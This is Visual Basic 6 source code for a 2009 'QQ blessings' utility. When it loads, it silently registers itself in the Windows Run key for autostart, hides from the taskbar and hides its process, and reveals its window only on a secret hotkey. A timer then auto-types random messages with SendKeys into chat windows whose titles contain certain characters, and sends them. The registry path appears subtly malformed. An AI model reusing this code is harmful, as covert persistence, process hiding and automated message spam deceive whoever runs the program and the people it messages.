'**************************************************************************
'**模 块 名:QQ祝福 - Form1
'**说 明:永远的魔灵 by icecept(郭卫)
'**创 建 人:icecept(魔灵)
'**日 期:2009-03-29 02:40:34
'**修 改 人:icecept(魔灵)
'**版 本:V1.0.0
'**E-mail :icecept@163.com QQ:543375508
'**网 址:http://hi.baidu.com/icecept http://hi.csdn.net/icecept
'*************************************************************************
Private Sub Form_Load()
Dim hKey As Long, ret As Long '打开键的句柄
Dim Name As String * 255, lngTypeData As Long
Dim intname1 As Integer
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE/MICROSOFT/WINDOWS/CURRENTVERSION/RUN", hKey
RegQueryValueEx hKey, App.EXEName, 0&, lngTypeData, ByVal Name, Len(Name)
'返回command项App.EXEName
intname1 = InStr(Name, App.EXEName & ".exe")
If intname1 = 0 Then
'打开注册表项,设置自启动项目
ret = RegSetValueEx(hKey, App.EXEName, 0, REG_SZ, ByVal CheckFilePath(App.Path) & App.EXEName & ".exe", LenB(CheckFilePath(App.Path) & App.EXEName & ".exe") + 1)
'关闭注册表项
RegCloseKey hKey
End If
If App.PrevInstance = True Then End
App.TaskVisible = False '隐藏程序
HideCurrentProcess '隐藏进程
'注册 Ctrl+Shift+Y 为热键
RegisterHotKey Me.hWnd, &HBFFF&, MOD_CONTROL + MOD_SHIFT, vbKeyY
'等待处理消息
HotKey_Flg = False
Do While Not HotKey_Flg
'等待消息
WaitMessage
'检查是否热键被按下
If PeekMessage(Message, Me.hWnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then
'打开本程序
Me.Show
Me.WindowState = vbNormal
End If
'转让控制权,允许操作系统处理其他事件
DoEvents
Loop
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim dl As Long
Dim FormCaption As String
FormCaption = Space(128)
dl& = GetWindowText(GetForegroundWindow, FormCaption, 128)
i = InStrRev(FormCaption, "群")
If Not i = 0 Then
SendMsText
Exit Sub
End If
i = InStrRev(FormCaption, "中")
If Not i = 0 Then
SendMsText
Exit Sub
End If
End Sub
Sub SendMsText()
On Error Resume Next
Randomize
score = Rnd * (List1.ListCount - "1") + "1"
List1.ListIndex = score
SendKeys List1.Text
SendKeys "%S"
DoEvents
End Sub
Private Function CheckFilePath(Path As String) As String
'检查档位文件是否在根目录下
If Right(Path, 1) <> "/" Then
CheckFilePath = Path & "/"
Else
CheckFilePath = Path
End If
End Function
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
HotKey_Flg = True
'撤销热键的注册
Call UnregisterHotKey(Me.hWnd, &HBFFF&)
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
Me.WindowState = vbMinimized
Me.Hide
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
Me.WindowState = vbMinimized
Me.Hide
End Sub